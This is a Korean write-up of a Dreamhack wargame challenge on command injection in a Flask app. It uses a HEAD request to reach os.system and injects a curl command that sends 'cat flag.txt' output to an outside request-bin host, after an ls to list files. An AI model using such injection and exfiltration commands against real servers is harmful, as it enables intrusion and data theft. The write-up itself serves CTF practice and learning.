먼저 문제의 코드를 살펴보자
코드를 보면 cmd를 GET으로 받는 것 같고 입력이 없으면 ?cmd=[cmd]를 반환한다.
하지만 GET요청일 때 그저 출력만 하고 명령어 실행은 하지 않는 것을 볼 수 있다.
cmd가 있는 걸 보면 command injection인데 명령어를 실행하려면 GET말고 다른 요청으로 cmd를 줘야한다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
그래서 일단 프로그램을 짠 뒤 POST 요청을 해보았다
워게임 문제 서버에서 cmd로 실행한 값을 보기 위해서 curl -d 리눅스 명령어로 또 request.bin 에 post로 결과값을 담아 보냈다.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
from tqdm import tqdm
url = "http://host3.dreamhack.games:19542/"
cmd = {
'cmd':'curl https://iudeluj.request.dreamhack.games -d "$(cat flag.txt)"'
}
res = requests.post(url,data=cmd)
그런데 오류가 생겼다.
그 오류의 내용은 POST는 허용되지 않는 method라는 것이다.
그래서 허용되는 method를 보기 위해 options method를 사용해서 워게임 서버에 요청했다.
그리고 option의 정보가 담기는 res의 header를 보았더니 결과는 아래와 같다.
허용되는 method가 GET,OPTIONS,HEAD 이 3가지라는 것이다.
GET은 cmd를 실행시켜주지 않고 OPTIONS은 그저 정보만 보여줄 뿐이다.
그렇다면 GET과 유사하지만 결과값을 BODY가 아닌 header에 담아주는 HEAD로 요청을 보내보자.
먼저 아래처럼 요청 패킷을 변경하기 위해 cmd에 123을 넣고 버프슈트로 패킷을 잡았다.
그 후 아래와 같이 cmd를 아까 명령어인 curl을 이용해서 request.bin에 post요청으로 서버의 list를 보여달라는 ls 명령어를 사용했다.
그렇게 request.bin에 들어가 BODY를 살펴보니 flag.py가 서버에 있는 것을 알 수 있었다.
그리고
curl https://iudeluj.request.dreamhack.games -d "$(cat flag.txt)
을 cmd로 변경하면서 flag.py의 내용을 post요청했다.
마지막으로 요청의 Body를 확인해보았더니 flag.py의 내용인 flag를 얻을 수 있었다.